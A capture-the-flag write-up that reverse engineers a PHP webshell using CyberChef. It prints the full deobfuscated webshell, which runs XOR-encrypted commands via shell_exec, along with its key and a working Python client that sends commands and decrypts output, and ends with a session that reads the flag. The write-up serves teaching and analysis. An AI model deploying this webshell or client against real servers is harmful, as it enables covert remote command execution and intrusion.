Overview
In this reverse engineering challenge, we’re given a malware sample to reverse engineer and figure out how to use to “prove” that a system is compromised.
Solution
Given that the malware sample is a PHP script, we won’t need to bring out the heavy hitters such as Ghidra, IDA, or Binary Ninja. Instead, we can use something simple…like CyberChef!
Formatting
As given, the webshell is all in one line. This is not very readable, so we can use the Generic Code Beautify
operation to try and format everything:
< ?php $l5 = base64_decode('NXAxbjRjaGwxZjM=');
function f0($k6, $l5) {
$l7 = '';
for($q8 = 0;
$q8 < strlen($k6);
$q8++) {
$l7 .= $k6[$q8]^$l5[$q8%strlen($l5)];
}
return $l7;
}
function g1($y9) {
return bin2hex($y9);
}
function d2($aa) {
return hex2bin($aa);
}
function e3($k6) {
$jb = 0;
for($q8 = 0;
$q8 < strlen($k6);
$q8++) {
$jb += ord($k6[$q8]);
}
return $jb%255;
}
function p4() {
http_response_code(404);
die();
}
if (!isset($_GET[base64_decode('Yw==')])||!isset($_GET[base64_decode('dA==')])) {
p4();
}
$dc = $_GET[base64_decode('Yw==')];
$ad = intval($_GET[base64_decode('dA==')]);
$ae = time();
if ($ad < $ae - 60||$ad > $ae + 60) {
p4();
}
$yf = d2($dc);
if ($yf == = false) {
p4();
}
$w10 = f0($yf, $l5);
if (e3(substr($w10, 0, - 1)) != = ord(substr($w10, - 1))) {
p4();
}
$w10 = substr($w10, 0, - 1);
if (empty($w10)) {
p4();
}
$a11 = shell_exec($w10);
if ($a11 == = null) {
p4();
}
$a12 = f0($a11, $l5);
echo g1($a12);
? >
The formatting isn’t perfect (for example, the == =
is actually the ===
operator), but it’s much better than staring at a very long line of code. Let’s try to understand what’s happening in this script.
Decoding
There’s a few calls to base64_decode
. Let’s decode those values. Doing this in CyberChef is a little complex, but it goes something like this:
- Use the
Subsection
operation and the regex patternbase64_decode\('([^']+)'\)
to get every base64-encoded string - Use the
From Base64
operation to decode the data in each string - Use the
Regular Expression
operation and the regex pattern from step 1 to get the now-decoded strings, which will be stored in a capture group - Utilize the regex pattern once more in the
Find / Replace
operation, with the replacement being a reference to the capture group
Now we have the following lines:
< ?php $l5 = '5p1n4chl1f3';
...
if (!isset($_GET['c'])||!isset($_GET['t'])) {
...
$dc = $_GET['c'];
$ad = intval($_GET['t']);
Analyzing the functions
When analyzing the script, we can rename functions and variables however we wish in CyberChef. To do this, we can grab a Find / Replace
operation, set the left side (the “Find”) to the function/variable name we want to update, and set the right side (the “Replace”) to the name we want to change it to.
Fun fact: The final version of the CyberChef recipe used to reverse engineer this script used 19
Find / Replace
operations. The full recipe can be found here.
Starting from the top, we see the string “5p1n4chl1f3” get passed into f0()
, which iterates through the first argument and XOR’s the first string with it repeatedly. We can make a pretty reasonable guess that $l5
is some form of $key
, so we’ll rename the variable to that. We can also change the funcion name to something like xor()
.
The next two functions convert strings to their hexadecimal representations and vice versa, making the names for those self-explanatory. After that, we come across function e3()
, which appears to add the ASCII decimal values of each character in $msg
together, then returns that number modulo 255. We’ll come back to that later.
Since function p4()
uses die()
and sends a 404 response code, we can assume that it just stops the script and renames it. The next three lines in the script all but confirm this, as following our Base64 replacement operation we can now see that the script checks for the URL parameters c
and t
, calling p4()
if they aren’t set.
The next 5 lines gives us a clue as to what t
is used for. We see that the value stored in t
cannot be more than a minute behind/ahead of the current system time, otherwise the script fails. From this, we can conclude that t
is used to store the current timestamp of the client, which needs to align with the server’s time to successfully communicate with it.
The next if
statement checks to see whether the data received via the c
parameter (we’ll call it $cmd
) is hex-encoded by attempting to convert it back into a string and failing execution if the function returns false
.
After converting the hexadecimal string in $cmd
back into bytes, the result is decrypted using xor()
. Every character in the string (with the exception of the last) is then passed into e3()
, and the resulting number is compared to the numerical value of the last character in the decrypted $cmd
byte sequence. Now we have a better understanding of what e3()
does, which is to calculate a checksum to be compared against later in order to verify the integrity of the command being sent. We’ll also have to do this ourselves to successfully communicate with the webshell.
After this, the decrypted string is checked to ensure that it isn’t empty and executed as a shell command. The command result is then encrypted using xor()
, encoded to hex, and outputted using echo
.
That’s cool, but now what?
Now that we understand how the webshell works, the next step is to “prove” the system is compromised, and what better way to do that than directly interacting with the malware?
Let’s say that we wanted to run a command through the webshell. Here’s what we would need to do:
- Make sure the timestamp in our request is synced with the server’s. To do this, we can make a request to the server, take the date and time from the
Date
HTTP header, and convert it into a UNIX timestamp - Compute the checksum of our command and append it to the end of the string
- Encrypt our command using XOR and the same key in
sea.php
- Convert our encrypted command into a hexadecimal string
- Send the encrypted command and timestamp to the server in the
c
andt
parameters, respectfully, via a web request - Create a function to handle decrypting responses from the server
We can use Python to script all of this. Below is an example script used to interact with the webshell:
import requests
import binascii
def xor_cipher(data, key):
key = key.encode()
return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])
def compute_checksum(data):
checksum = sum(data) % 255
return checksum
def encrypt_command(command, key):
command = command.encode()
checksum = compute_checksum(command)
command += checksum.to_bytes(1, 'big')
encrypted = xor_cipher(command, key)
return binascii.hexlify(encrypted).decode()
def decrypt_response(response, key):
decrypted = xor_cipher(binascii.unhexlify(response), key)
return decrypted.decode(errors='ignore')
def get_server_time(url):
try:
response = requests.head(url)
server_time = response.headers.get("Date")
if server_time:
from email.utils import parsedate_to_datetime
return int(parsedate_to_datetime(server_time).timestamp())
except Exception as e:
print("Failed to retrieve server time:", e)
return None
def send_command(url, command, key):
server_time = get_server_time(url)
if server_time is None:
print("Failed to sync time with server.")
exit(1)
encrypted_cmd = encrypt_command(command, key)
token = str(server_time)
params = {
'c': encrypted_cmd,
't': token
}
response = requests.get(url, params=params)
if response.status_code == 404:
print("Invalid request or unauthorized access (404).")
return
decrypted_output = decrypt_response(response.text, key)
print("Command Output:")
print(decrypted_output)
if __name__ == "__main__":
shell_url = "http://localhost:8000/sea.php" # Change this to your target URL
secret_key = "5p1n4chl1f3" # Ensure this matches the key in sea.php
while True:
cmd = input("Enter command: ").strip()
if cmd.lower() in ["exit", "quit"]:
break
send_command(shell_url, cmd, secret_key)
After connecting to the webshell, we can locate the flag file and view its contents:
┌──(kali㉿kali)-[~/Desktop/rev_CollectingSeashells/writeup]
└─$ python3 interact.py
Enter command: ls
Command Output:
flag.txt
index.php
sea.php
Enter command: cat flag.txt
Command Output:
MetaCTF{c0ll3ct1ng_s34sh3ll5_fr0m_th3_h4ck3r5_cl4w5}